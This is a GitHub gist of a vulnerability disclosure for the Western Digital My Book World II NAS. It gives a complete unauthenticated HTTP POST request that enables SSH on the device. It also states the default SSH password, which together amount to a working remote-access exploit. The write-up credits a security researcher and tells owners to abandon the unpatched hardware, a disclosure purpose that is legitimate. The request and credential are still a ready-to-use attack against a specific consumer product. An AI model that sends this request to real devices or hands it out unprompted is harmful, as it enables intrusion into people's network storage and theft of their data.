Skip to content

Instantly share code, notes, and snippets.

@pak0s
Last active September 19, 2019 05:31
Show Gist options
  • Save pak0s/22ad6bae26198ebcd137b61adb6fcfe6 to your computer and use it in GitHub Desktop.
Save pak0s/22ad6bae26198ebcd137b61adb6fcfe6 to your computer and use it in GitHub Desktop.
Western Digital WD My Book World II NAS <=1.02.12 Suffers from Broken Authentication that can lead to RCE
POST /admin/system_advanced.php?lang=en HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
Content-Length: 241
orig_ssl_key=&orig_ssl_certificate=&submit_type=ssh&current_ssh=&enablessh=yes&Submit=Submit&ssl_certificate=Paste+a+signed+certificate+in+X.509+PEM+format+here.&ssl_key=Paste+a+RSA+private+key+in+PEM+format+here.&hddstandby=on&ledcontrol=on
/*
The default password for SSH is 'welc0me' and the only security measure preventing SSH Login is the disabled SSH Port and it can be enabled with above POST Header. The attacker can then login to SSH Port with default password. WD My Book World II NAS is very outdated hardware and Western Digitial may never release update for it. It is still using PHP 4 so it has more potential of Remote Exploits. All firmwares listed at https://support.wdc.com/downloads.aspx?p=130&lang=en are vulnerable.
There is no update coming probably and if you want to remain safe, abandon this NAS and switch to the latest hardware.
*/
Researcher: Noman Riffat - National Security Services Group (NSSG)
@nomanriffat, @nssgoman
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment